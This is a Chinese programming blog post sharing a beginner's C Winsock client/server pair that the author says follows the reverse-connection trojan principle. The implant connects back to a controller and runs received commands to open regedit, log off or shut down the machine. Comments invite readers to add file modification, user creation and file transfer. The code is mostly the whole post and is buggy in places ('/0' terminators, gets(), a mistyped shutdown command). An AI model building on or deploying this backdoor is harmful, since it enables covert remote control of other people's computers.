C语言简单的网络编程

最近学习C网络编程 写了一个简单程序 有很多的不足 还请各位帮忙提点意见

程序是一个有服务端 和一个客户端组成的   简单的说是按照反弹木马原理写的

如果有兴趣的朋友可以加大程序的功能哈!

先看服务端的原代码  

// server.cpp : Defines the entry point for the console application.
//本程序为C网络编程基础,由于本人的C语言基础不好 所以在细节上可能绕了很多圈子 还请大家提下意见
//本程序在VC++下调试成功,其他编译器 没有测试
//BY:零点邪恶  QQ:308506025   [E.N.T] [J.T.S]小组

#include "stdafx.h"
#include<stdio.h>
#include<winsock.h>     //socket ,网络头文件
#include<windows.h>
#include<stdlib.h>
#pragma comment(lib,"Ws2_32")
#define MAXDATE 50

int main(int argc, char* argv[])
{
 int sockfd,mydate;    //定义套接字
 char buf[MAXDATE];
 struct sockaddr_in their_addr;   //对方信息
 int key=0;
 
 WSADATA ws;
 WSAStartup(MAKEWORD(2,2),&ws);       //初始 windows socket dll
    loop:sockfd=socket(AF_INET,SOCK_STREAM,0);
 //连接对方
 their_addr.sin_family = AF_INET;    //网络协议
 their_addr.sin_port = htons(72);    //端口定义
 their_addr.sin_addr.s_addr = inet_addr("127.0.0.1");    //对方IP
    connect(sockfd,(struct sockaddr *) &their_addr,sizeof(struct sockaddr)); //进行连接
    //接受对方发送的数据
     mydate = recv(sockfd,buf,MAXDATE,0);  
  buf[mydate] = '/0';
  //  以下是要在本机上执行的程序,由于测试中所以使用了 WINDOWS自带的命令 有兴趣的朋友可以自己写命令
  //比如 修改文件,新建用户,传送文件 等等
  if(strcmp(buf,"msg")==0)
  {
   MessageBox(NULL,"接收程序测试过程","测试",MB_YESNO);
  }
  else if(strcmp(buf,"regedit")==0)
  {
   system("regedit");
  }
  else if(strcmp(buf,"logoff")==0)
  {
   system("logoff");
  }
  else if(strcmp(buf,"closepc")==0)
  {
   system("rononce -p");
  }
  else if(strcmp(buf,"end")==0)
  {
   exit(1);
  }
  if(key!=0)
  {
  closesocket(sockfd);  //关闭sockfd套接字
  }
         else{goto loop;}
  return 0;
}

下面是客户端的原代码

// client1.cpp : Defines the entry point for the console application.
// server.cpp : Defines the entry point for the console application.
//本程序为C网络编程基础,由于本人的C语言基础不好 所以在细节上可能绕了很多圈子 还请大家提下意见
//本程序在VC++下调试成功,其他编译器 没有测试
//BY:零点邪恶  QQ:308506025   [E.N.T] [J.T.S]小组

#include "stdafx.h"
#include<stdio.h>
#include<winsock.h>
#pragma comment (lib,"Ws2_32")
#define BACKLOG  10
int main(int argc, char* argv[])
{
 void myhelp();
 int sockfd,mysock;   //定义套接字
 struct sockaddr_in their_addr;  /*连接者的信息*/
 struct sockaddr_in my_addr;    /*自己的信息*/
 int sin_size;
 int key=0;
 char xiao[10];
 int i = 0;
 WSADATA ws;
 WSAStartup(MAKEWORD(2,2),&ws);
 //绑定自己的信息
    sockfd = socket(AF_INET,SOCK_STREAM,0);
 my_addr.sin_family = AF_INET;   //网络协议
 my_addr.sin_port = htons(72);    //定义端口
 my_addr.sin_addr.s_addr = INADDR_ANY;    //本地IP
 bind(sockfd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr));  
    //等待连接
  printf("等待ing......../n");
 loop:listen(sockfd,BACKLOG);   //监听端口
 sin_size = sizeof(struct sockaddr_in);
 mysock = accept(sockfd,(struct sockaddr *)&their_addr,&sin_size);
 i++;

 if(i == 1)
 {
    printf("连接成功,请输入控制命令/n");
    printf("Enter:");
 }
 else
 {
    printf("请输入控制命令/n");
    printf("Enter:");
 }
    gets(xiao);
    if(strcmp(xiao,"help")==0)
    {
     myhelp();
    }
    send(mysock,xiao,20,0);
    printf("sendOK/n");
 if(key != 0)
 {
   closesocket(sockfd);
   closesocket(mysock);
 }else{goto loop;}
 return 0;
}
   //定义一个帮助文件
  void myhelp()
  {
   printf(":msg   messageBox函数测试/n:regedit   打开对方注册表/n:logoff   注销对方计算机/n:closepc   15关闭对方对方计算机/n:end    关闭程序 同时断开连接/n");

  }

 
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值